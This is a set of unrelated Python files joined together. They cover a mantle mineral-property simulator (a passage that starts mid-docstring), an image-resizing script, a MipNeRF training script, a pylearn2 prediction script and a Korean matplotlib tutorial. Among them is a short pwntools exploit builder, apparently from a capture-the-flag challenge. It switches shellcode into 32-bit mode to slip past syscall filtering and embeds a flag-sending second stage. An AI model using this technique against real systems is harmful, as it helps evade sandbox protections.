        g_fe2o3_0: Shear modulus of Fe2O3 at ambient conditions. Default to 53.2. [GPa]
        g_prime_fe2o3: Pressure derivative of the shear modulus for Fe2O3.
                       Default to 2.63.
        g_al2o3_0: Shear modulus of Al2O3 at ambient conditions. Default to 129.2. [GPa]
        g_prime_al2o3: Pressure derivative of the shear modulus for Al2O3.
                       Default to 2.32.
        g_dot_bm: Temperature derivative of the shear modulus for Bm.
                  Default to -0.02. [GPa/K]
        g_dot_fp: Temperature derivative of the shear modulus for Fp.
                  Default to -0.02. [GPa/K]
        g_dot_capv: Temperature derivative of the shear modulus for CaPv.
                    Default to -0.002. [GPa/K]
        m_mgo: Molar mass of MgO. [g/mol]
        m_feo: Molar mass of FeO. [g/mol]
        m_mgsio3: Molar mass of MgSiO3. [g/mol]
        m_fesio3: Molar mass of FeSiO3. [g/mol]
        m_fealo3: Molar mass of FeAlO3. [g/mol]
        m_fe2o3: Molar mass of Fe2O3. [g/mol]
        m_al2o3: Molar mass of Al2O3. [g/mol]
        m_capv: Molar mass of CaSiO3. [g/mol]
        rho_capv_0: Density of CaPv at ambient conditions. [kg/m^3]
        P_am: Pressure of the ambient mantle. Default to 130. [GPa]
        T_am: Temperature of the ambient mantle. Default to 3000. [K]
        p_capv_min: Minimum proportion of CaPv assumed for the considered compositions.
                    Default to 0. [vol%]
        p_capv_max: Maximum proportion of CaPv assumed for the considered compositions.
                    Default to 0.40. [vol%]
        delta_capv: Step value for the proportion of CaPv. Default to 0.01. [vol%]
        p_bm_min: Minimum proportion of Bm assumed for the considered compositions.
                  Default to 0.60. [vol%]
        delta_bm: Step value for the proportion of Bm. Default to 0.01. [vol%]
        dT_min: Minimum temperature contrast against the ambient mantle assumed for the
                considered compositions. Default to 0. [K]
        dT_max: Maximum temperature contrast against the ambient mantle assumed for the
                considered compositions. Default to 1000. [K]
        delta_dT: Step value for the temperature contrast against the ambient mantle.
                  Default to 100. [K]
        iron_content_min: Minimum FeO content assumed for the considered compositions.
                          Default to 0.08. [wt%]
        iron_content_max: Maximum FeO content assumed for the considered compositions.
                          Default to 0.28. [wt%]
        delta_iron_content: Step value for the FeO content. Default to 0.01. [wt%]
        al_content_min: Minimum Al2O3 content assumed for the considered compositions.
                        Default to 0.01. [wt%]
        al_content_max: Maximum Al2O3 content assumed for the considered compositions.
                        Default to 0.19. [wt%]
        delta_al: Step value for the Al2O3 content. Default to 0.005. [wt%]
        ratio_fe_bm_min: Minimum oxidation state in Bm assumed for the considered
                         compositions. Default to 0.
        ratio_fe_bm_max: Maximum oxidation state in Bm assumed for the considered
                         compositions. Default to 1.
        delta_ratio_fe: Step value for the oxidation state in Bm. Default to 0.1.
        delta_v_fp: Step value for the volume in the spin transition calculation.
                    Default to 0.05. [A^3]
        delta_P: Step value for the pressure in the spin transition calculation.
                 Default to 2.0. [GPa]
    """

    def __init__(self, prop: dict = {}):
        """Initializes mineral properties.

        This function initializes all the properties required for the simulator. Default
        values are used, unless a different value is provided in the input dictionary.
        It is however not recommended to provide values in the input dictionary. The
        unit of each parameter is specified in the class description.

        Note that volumes are converted from the unit cell volume given in the
        reference to the cm3 unit used in this simulator. The conversion is performed
        as follows:

            V     =   V  *    10^-24   *  6.02*10^23   /      4        =   V*0.15055
         cm^3/mol    A^3    A^3->cm^3       ->mol        number atoms

        The number 4 corresponds to the number of atoms in the primitive cell of Fp, Bm
        and CaPv.

        More information is provided in Vilella et al. (2015) and Vilella et al. (2021).

        Args:
            prop: A dictionary providing the value of mineral properties.
                  Default to empty dictionary.
        """
        # Directory to write the results
        filepath = os.path.abspath(os.path.dirname(__file__))
        result_path = os.path.join(filepath, "..", "results")
        self.path = prop.get("path", result_path)

        # Gas constant
        self.R = 8.31446 * 10**(-3)

        # Parameters related to the spin transition
        self.xi = prop.get("xi", 1.5)  # Sturhahn 2005
        self.delta_0 = prop.get("delta_0", 1.35)  # Sturhahn 2005
        self.v_trans = prop.get("v_trans", 59.)  # Fei 2007

        # Parameters of the considered ambient mantle
        self.p_capv_am = prop.get("p_capv_am", 0.07)  # Irifune 1994, 2010
        self.iron_content_am = prop.get("iron_content_am", 0.08)  # Irifune 2010
        self.p_bm_am = prop.get("p_bm_am", 0.75)  # Irifune 2010
        self.al_content_am = prop.get("al_content_am", 0.036)  # Irifune 2010
        self.kd_ref_am = prop.get("kd_ref_am", 0.5)  # Piet 2016
        self.ratio_fe_bm_am = prop.get("ratio_fe_bm_am", 0.5)  # Piet 2016

        # EOS parameters for Bridgmanite
        self.k0t_prime_bm = prop.get("k0t_prime_bm", 3.7)  # Fiquet 2000
        self.theta_bm_0 = prop.get("theta_bm_0", 1100.)  # Fiquet 2000
        self.gamma_bm_0 = prop.get("gamma_bm_0", 1.4)  # Fiquet 2000
        self.q_bm = prop.get("q_bm", 1.4)  # Fiquet 2000

        # EOS parameters for Ferropericlase
        self.k0t_prime_fp = prop.get("k0t_prime_fp", 4.0)  # Jackson 1982
        self.theta_fp_0 = prop.get("theta_fp_0", 673)  # Jackson 1982
        self.gamma_fp_0 = prop.get("gamma_fp_0", 1.41)  # Jackson 1982
        self.q_fp = prop.get("q_fp", 1.3)  # Jackson 1982

        # EOS parameters for Calcio Perovskite
        self.k0t_prime_capv = prop.get("k0t_prime_capv", 3.9)  # Shim 2000
        self.theta_capv_0 = prop.get("theta_capv_0", 1000.)  # Shim 2000
        self.gamma_capv_0 = prop.get("gamma_capv_0", 1.92)  # Shim 2000
        self.q_capv = prop.get("q_capv", 0.6)  # Shim 2000

        # EOS parameters for various components
        self.k_mgo_0 = prop.get("k_mgo_0", 160.)  # Speziale 2001
        self.v_mgo_0 = prop.get("v_mgo_0", 11.25)  # Speziale 2001
        self.k_feo_ls_0 = prop.get("k_feo_ls_0", 150.)  # Fei 2007
        self.v_feo_ls_0 = prop.get("v_feo_ls_0", 10.82)  # Fei 2007
        self.k_feo_hs_0 = prop.get("k_feo_hs_0", 150.)  # Fei 2007
        self.v_feo_hs_0 = prop.get("v_feo_hs_0", 12.18)  # Fei 2007
        self.k_mgsio3_0 = prop.get("k_mgsio3_0", 261.)  # Lundin 2008
        self.v_mgsio3_0 = prop.get("v_mgsio3_0", 24.43)  # Lundin 2008
        self.k_fesio3_0 = prop.get("k_fesio3_0", 248.)  # Lundin 2008
        self.v_fesio3_0 = prop.get("v_fesio3_0", 25.44)  # Lundin 2008
        self.k_fe2o3_0 = prop.get("k_fe2o3_0", 95.)  # Catalli 2010
        self.v_fe2o3_0 = prop.get("v_fe2o3_0", 30.6)  # Catalli 2010
        self.k_fealo3_0 = prop.get("k_fealo3_0", 271.)  # Catalli 2011
        self.v_fealo3_0 = prop.get("v_fealo3_0", 28.21)  # Catalli 2011
        self.k_al2o3_0 = prop.get("k_al2o3_0", 137.)  # Catalli 2011
        self.v_al2o3_0 = prop.get("v_al2o3_0", 26.74)  # Catalli 2011
        self.k_casio3_0 = prop.get("k_casio3_0", 236.)  # Shin 2000
        self.v_casio3_0 = prop.get("v_casio3_0", 27.45)  # Shin 2000

        # Shear modulus parameters for various components
        self.g_mgo_0 = prop.get("g_mgo_0", 131.)  # Murakami 2009
        self.g_prime_mgo = prop.get("g_prime_mgo", 1.92)  # Murakami 2009
        self.g_feo_hs_0 = prop.get("g_feo_hs_0", 29.9)  # Murakami 2012
        self.g_prime_feo_hs = prop.get("g_prime_feo_hs", 6.26)  # Murakami 2012
        self.g_feo_ls_0 = prop.get("g_feo_ls_0", 119.)  # Murakami 2012
        self.g_prime_feo_ls = prop.get("g_prime_feo_ls", 3.90)  # Murakami 2012
        self.g_casio3_0 = prop.get("g_casio3_0", 135.)  # Li 2006
        self.g_prime_casio3 = prop.get("g_prime_casio3", 1.57)  # Li 2006
        self.g_mgsio3_0 = prop.get("g_mgsio3_0", 168.2)  # Shukla 2015
        self.g_prime_mgsio3 = prop.get("g_prime_mgsio3", 1.79)  # Shukla 2015
        self.g_fesio3_0 = prop.get("g_fesio3_0", 145.7)  # Shukla 2015
        self.g_prime_fesio3 = prop.get("g_prime_fesio3", 1.87)  # Shukla 2015
        self.g_fealo3_0 = prop.get("g_fealo3_0", 95.3)  # Shukla 2016
        self.g_prime_fealo3 = prop.get("g_prime_fealo3", 2.13)  # Shukla 2016
        self.g_fe2o3_0 = prop.get("g_fe2o3_0", 53.2)  # Shukla 2016
        self.g_prime_fe2o3 = prop.get("g_prime_fe2o3", 2.63)  # Shukla 2016
        self.g_al2o3_0 = prop.get("g_al2o3_0", 129.2)  # Shukla 2016
        self.g_prime_al2o3 = prop.get("g_prime_al2o3", 2.32)  # Shukla 2016

        # Temperature derivative of the shear modulus
        self.g_dot_bm = prop.get("g_dot_bm", -0.02)  # Murakami 2012
        self.g_dot_fp = prop.get("g_dot_fp", -0.02)  # Murakami 2012
        self.g_dot_capv = prop.get("g_dot_capv", -0.002)  # Li 2006

        # Molar masses for various components
        self.m_mgo = 40.304
        self.m_feo = 71.844
        self.m_mgsio3 = 100.388
        self.m_fesio3 = 131.928
        self.m_fealo3 = 130.824
        self.m_fe2o3 = 159.687
        self.m_al2o3 = 101.961
        self.m_capv = 116.161

        # Density of Calcio Perovskite at ambient conditions
        self.rho_capv_0 = 1000. * self.m_capv / self.v_casio3_0

    def _load_conditions(self, conditions: dict = {}):
        """Initializes input conditions.

        This function initializes the input conditions for the simulator. Default values
        are chosen in order to reproduce the results presented in Vilella et al. (2021).
        These conditions can however be changed by providing an input dictionary.

        Args:
            conditions: A dictionary providing the values for input conditions.
                        Default to empty dictionary.
        """
        # P, T conditions of the ambient mantle
        self.P_am = conditions.get("P_am", 130.)
        self.T_am = conditions.get("T_an", 3000.)

        # Ranges considered for all input parameters
        self.p_capv_min = conditions.get("p_capv_min", 0.00)
        self.p_capv_max = conditions.get("p_capv_max", 0.40)
        self.delta_capv = conditions.get("delta_capv", 0.01)

        self.p_bm_min = conditions.get("p_bm_min", 0.60)
        self.delta_bm = conditions.get("delta_bm", 0.01)

        self.dT_min = conditions.get("dT_min", 0.)
        self.dT_max = conditions.get("dT_max", 1000.)
        self.delta_dT = conditions.get("delta_dT", 100.)

        self.iron_content_min = conditions.get("iron_content_min", 0.08)
        self.iron_content_max = conditions.get("iron_content_max", 0.28)
        self.delta_iron_content = conditions.get("delta_iron_content", 0.01)

        self.al_content_min = conditions.get("al_content_min", 0.01)
        self.al_content_max = conditions.get("al_content_max", 0.19)
        self.delta_al = conditions.get("delta_al", 0.005)

        self.ratio_fe_bm_min = conditions.get("ratio_fe_bm_min", 0.)
        self.ratio_fe_bm_max = conditions.get("ratio_fe_bm_max", 1.0)
        self.delta_ratio_fe = conditions.get("delta_ratio_fe", 0.1)

        # Stepping used for the spin transition calculation
        self.delta_v_fp = conditions.get("delta_v_fp", 0.05)
        self.delta_P = conditions.get("delta_P", 2.0)

    def calc_mineral_properties(self, conditions: dict = {}):
        """Calculates the seismic anomalies of a wide range of mineral compositions.

        This function is the main function of the class and its purpose is to calculate
        the density and seismic wave velocities of various rock assemblages. This is
        achieved through a three-step process. As a first step, the average spin
        configuration of FeO in Ferropericlase (Fp) is calculated as a function of
        temperature, pressure, and volume. As a second step, the density of Fp and
        Bridgmanite (Bm) as well as the molar concentration of FeO in Fp, FeO in Bm,
        and AlO2 in Bm are calculated. As a third step, these five properties are used
        to determine the density and seismic wave velocities of the rock assemblage.

        The results are written into two sets of files. The first set is composed of the
        mineral compositions of the rock assemblages and are named after the considered
        temperature contrast. The second set is composed of the sesimic anomalies of the
        rock assemblages and are named following the first set of files with
        "_processed" appended.

        The first set of files can be used to resume the simulation if stopped, while
        the second set of files can be used to analyze the results.

        The input conditions for the range of mineral compositions investigated can
        be changed by providing an input dictionary. Default values are chosen in order
        to reproduce the results presented in Vilella et al. (2021). Note however that
        the calculation time is long (over a week).

        Args:
            conditions: A dictionary providing the values for input conditions.
                        Default to empty dictionary.
        """
        # Loading simulation conditions
        self._load_conditions(conditions)

        # Calculating the spin configuration
        spin_config, P_table = _calc_spin_configuration(self)

        # Calculating the mineral compositions
        _calc_mineral_composition(self, spin_config, P_table)

        # Calculating the seismic anomalies
        _calc_seismic_anomalies(self, spin_config, P_table)


import cv2
import numpy as np
import json
import os

import glob2 as glob

# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #
# Resize input images to 512X512 to fit SSD neural net
# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #

input_path = r'.\busesTrain'
os.chdir(input_path)
images=glob.glob("*.jpg")
BLACK = [0, 0, 0]

top = 0
bottom = int((3648-2736))
IMAGE_SIZE = 512

for imgStr in images:
    image = cv2.imread(imgStr)
    print(image.shape)
    dstImg = cv2.copyMakeBorder(image,top,bottom,0,0,cv2.BORDER_CONSTANT, value=BLACK)
    resized_image = cv2.resize(dstImg, (IMAGE_SIZE, IMAGE_SIZE))
    cv2.imwrite(imgStr[0:-4] + "_resized3.jpg" , resized_image)


from fileinput import filename
import pytorch_lightning
from models.nerf_system import MipNeRFSystem
# pytorch-lightning
from pytorch_lightning import Trainer
from pytorch_lightning.callbacks import ModelCheckpoint, TQDMProgressBar
from pytorch_lightning.loggers import TensorBoardLogger
from pytorch_lightning.plugins import DDPPlugin
import argparse
import os
from configs.config import parse_args
import torch
import numpy as np
import random

parser = argparse.ArgumentParser()
#parser.add_argument("--data_path", help="data path.", type=str, required=True)
#parser.add_argument("--out_dir", help="Output directory.", type=str, required=True)
#parser.add_argument("--dataset_name", help="Single or multi data.", type=str, choices=['multi_blender', 'blender'],
#                    required=True)
#parser.add_argument("--config", help="Path to config file.", required=False, default='./configs/lego.yaml')
parser.add_argument("--config", help="Path to config file.", required=False, default='./configs/lego.yaml')
parser.add_argument("opts", nargs=argparse.REMAINDER,
                    help="Modify hparams. Example: train.py resume out_dir TRAIN.BATCH_SIZE 2")

def setup_seed(seed):
    torch.manual_seed(seed)
    torch.cuda.manual_seed_all(seed)
    np.random.seed(seed)
    random.seed(seed)
    #torch.backends.cudnn.deterministic = True

class TorchTensorboardProfilerCallback(pytorch_lightning.Callback):
    """Quick-and-dirty Callback for invoking TensorboardProfiler during training.

    For greater robustness, extend the pl.profiler.profilers.BaseProfiler. See
    https://pytorch-lightning.readthedocs.io/en/stable/advanced/profiler.html"""

    def __init__(self, profiler):
        super().__init__()
        self.profiler = profiler

    def on_train_batch_end(self, trainer, pl_module, outputs, *args, **kwargs):
        self.profiler.step()
        #pl_module.log_dict(outputs)  # also logging the loss, while we're here

def trace_handler(p):
    output = p.key_averages().table(sort_by="self_cuda_time_total", row_limit=10)
    print(output)
    p.export_chrome_trace("/tmp/trace_" + str(p.step_num) + ".json")

def main(hparams):
    import warnings
    from pytorch_lightning.profiler import PyTorchProfiler, AdvancedProfiler, SimpleProfiler
    from pytorch_lightning.profiler import Profiler
    from torch.profiler import tensorboard_trace_handler
    import torch.profiler
    from pytorch_lightning.callbacks import DeviceStatsMonitor
    warnings.filterwarnings('ignore')
    torch.autograd.set_detect_anomaly(False)

    setup_seed(hparams['seed'])
    system = MipNeRFSystem(hparams)
    ckpt_cb = ModelCheckpoint(dirpath=os.path.join(hparams['out_dir'], 'ckpt', hparams['exp_name']),
                              save_last=True,
                              monitor='val/psnr',
                              mode='max',
                              save_top_k=2,
                              filename='epoch-{epoch:02d}_step-{step}_psnr-val_psnr{val/psnr:.4f}',
                              auto_insert_metric_name=False
                              )
    pbar = TQDMProgressBar(refresh_rate=1)

    logger = TensorBoardLogger(save_dir=os.path.join(hparams['out_dir'], "logs"),
                               name=hparams['exp_name'],
                               default_hp_metric=False)

    #profiler = PyTorchProfiler(filename="performance.txt", record_functions={'training_step', 'backward', 'optimizer_step'},
    #    with_stack=True,
    #    export_to_chrome=True)
        #emit_nvtx=True)

    #profiler = SimpleProfiler(filename="performance.txt", extended=True)
    #profiler = torch.profiler.profiler(with_stack=True, with_modules=True, profile_memory=True)

    #profiler = AdvancedProfiler(filename="performance.txt")
    #profiler = torch.profiler.profile(schedule=torch.profiler.schedule(wait=1, warmup=1, active=3, repeat=2),
    #    on_trace_ready=torch.profiler.tensorboard_trace_handler("name=hparams['exp_name']"),
    #   profile_memory=True, with_stack=True)

    callbacks = [ckpt_cb] #,pbar, DeviceStatsMonitor(),

    #profiler = torch.profiler.profile(with_stack=True, profile_memory=True, with_modules=True,
    #        schedule=torch.profiler.schedule(wait=1,warmup=400, active=3, repeat=1, skip_first=0),
    #        on_trace_ready=tensorboard_trace_handler(f"{hparams['out_dir']}/logs/{hparams['exp_name']}"))
    #with profiler:
    #    profiler_callback = TorchTensorboardProfilerCallback(profiler)
    #    callbacks = [ckpt_cb, profiler_callback] #,pbar, DeviceStatsMonitor(),
    #
    trainer = Trainer(
        max_steps=hparams['optimizer.max_steps'],
        max_epochs=-1,
        callbacks=callbacks,
        val_check_interval=hparams['val.check_interval'] * hparams['accumulate_grad_batches'],
        logger=logger,
        enable_model_summary=True,
        accelerator='gpu',
        devices=hparams['num_gpus'],
        num_sanity_val_steps=1,
        benchmark=True,
        #profiler='pytorch' if hparams['num_gpus'] == 1 else None,
        precision=hparams['precision'],
        #strategy=DDPPlugin(find_unused_parameters=False) if hparams['num_gpus'] > 1 else None,
        accumulate_grad_batches=hparams['accumulate_grad_batches'],
        check_val_every_n_epoch=None,
        limit_val_batches=hparams['val.sample_num'],
        enable_progress_bar=False,
        log_every_n_steps=200,
        gradient_clip_val=1e-3,
    )
    if hparams['checkpoint.resume_path'] is not None:
        print(f"resume training from {hparams['checkpoint.resume_path']}")
    trainer.fit(system, ckpt_path=hparams['checkpoint.resume_path'])
    #trainer.fit(system)
    #   profiler.export_chrome_trace("trace.json")

    if hparams["checkpoint.test"] is not None:
        print(f'testing model with checkpoint {hparams["checkpoint.test"]}')
        model = system.load_from_checkpoint(hparams["checkpoint.test"])
        model.eval()
        trainer.test(model)

if __name__ == "__main__":
    main(parse_args(parser))


from pwn import *
import cshc
context("amd64", "linux")

shellcode = ""
#enter 32-bit mode and execute stage2.c
shellcode += flat(asm(r"""
a:
    mov esp, 0x1000fffc
    mov ax, 0x2b
    mov ds, ax
    mov es, ax
    sub esp, 8
    mov dword [esp+4], 0x23
    mov dword [esp], b - a + 0x10000000
    retf
b:
"""))

shellcode += cshc.arch("x86").compile_file("stage2_sendflag.c")

open("stage1.c", "w").write(open("stage1_tmpl.c").read().replace("REPLACE_ME",
    "{" + ",".join([str(ord(val)) for val in shellcode])  +  "}"
))


#!/usr/bin/env python
# coding: utf-8
"""
Script to predict values using a pkl model file.

This is a configurable script to make predictions.

Basic usage:

.. code-block:: none

    predict_csv.py pkl_file.pkl test.csv output.csv

Optionally it is possible to specify if the prediction is regression or
classification (default is classification). The predicted variables are
integer by default.
Based on this script: http://fastml.com/how-to-get-predictions-from-pylearn2/.
This script doesn't use batches. If you run out of memory it could be
resolved by implementing a batch version.

"""
from __future__ import print_function

__authors__ = ["Zygmunt Zając", "Marco De Nadai"]
__license__ = "GPL"

import sys
import os
import argparse
import numpy as np

from pylearn2.utils import serial
from theano import tensor as T
from theano import function

def make_argument_parser():
    """
    Creates an ArgumentParser to read the options for this script from
    sys.argv
    """
    parser = argparse.ArgumentParser(
        description="Launch a prediction from a pkl file"
    )
    parser.add_argument('model_filename',
                        help='Specifies the pkl model file')
    parser.add_argument('test_filename',
                        help='Specifies the csv file with the values to predict')
    parser.add_argument('output_filename',
                        help='Specifies the predictions output file')
    parser.add_argument('--prediction_type', '-P',
                        default="classification",
                        help='Prediction type (classification/regression)')
    parser.add_argument('--output_type', '-T',
                        default="int",
                        help='Output variable type (int/float)')
    return parser

def predict(model_path, test_path, output_path, predictionType="classification", outputType="int"):
    """
    Predict from a pkl file.

    Parameters
    ----------
    modelFilename : str
        The file name of the model file.
    testFilename : str
        The file name of the file to test/predict.
    outputFilename : str
        The file name of the output file.
    predictionType : str, optional
        Type of prediction (classification/regression).
    outputType : str, optional
        Type of predicted variable (int/float).
    """

    print("loading model...")

    try:
        model = serial.load(model_path)
    except Exception as e:
        print("error loading {}:".format(model_path))
        print(e)
        quit(-1)

    print("setting up symbolic expressions...")

    X = model.get_input_space().make_theano_batch()
    Y = model.fprop(X)

    if predictionType == "classification":
        Y = T.argmax(Y, axis=1)

    f = function([X], Y)

    print("loading data and predicting...")

    # x is a numpy array
    # x = pickle.load(open(test_path, 'rb'))
    x = np.loadtxt(test_path, delimiter=',') # no labels in the file

    y = f(x)

    print("writing predictions...")

    variableType = "%d"
    if outputType != "int":
        variableType = "%f"

    np.savetxt(output_path, y, fmt=variableType)

if __name__ == "__main__":
    """
    See module-level docstring for a description of the script.
    """
    parser = make_argument_parser()
    args = parser.parse_args()
    predict(args.model_filename, args.test_filename, args.output_filename, args.prediction_type, args.output_type)


# -*- coding: utf-8 -*-
"""
step01_setting.py

 - matplotlib 사용법
 - 한글/음수 부호 처리방법
"""
import numpy as np #별칭 -수치  data 생성
import matplotlib.pyplot as plt #별칭 -data 시각화

#1. 차트 dataset 생성
data = np.random.randn(100) # 정규분포(평균:0,st:1) 난수 생성
print(data)

#2. 정규분포 시각화
plt.plot(data) #시각화(선 그래프)
plt.title('vaisulize the normal dist')
plt.xlabel('index')
plt.ylabel('random number')
plt.show() # 보이기

#한글과 음수 부호 지원
# 차트에서 한글 지원
import matplotlib.pyplot as plt
plt.rcParams['font.family'] = 'Malgun Gothic'

# 한글 서체명-> 영문 서체명
path="C:\\Windows\\Fonts\\malgun.ttf"
import matplotlib.font_manager as fm
font_name=fm .FontProperties(fname=path).get_name()
print(font_name) # Malgun Gothic <- 이걸 위에 반영

#다른 서체명 (예시2)
path="C:\\Windows\\Fonts\\malgun.ttf"
import matplotlib.font_manager as fm
font_name=fm .FontProperties(fname=path).get_name()
print(font_name)

# 음수 부호 지원
import matplotlib
matplotlib.rcParams['axes.unicode_minus'] = False

#3. 정규분포 시각화: 한글 적용
plt.plot(data) #시각화(선 그래프)
plt.title('정규분포 난수 시각화')
plt.xlabel('색인')
plt.ylabel('난수')
plt.show() # 보이기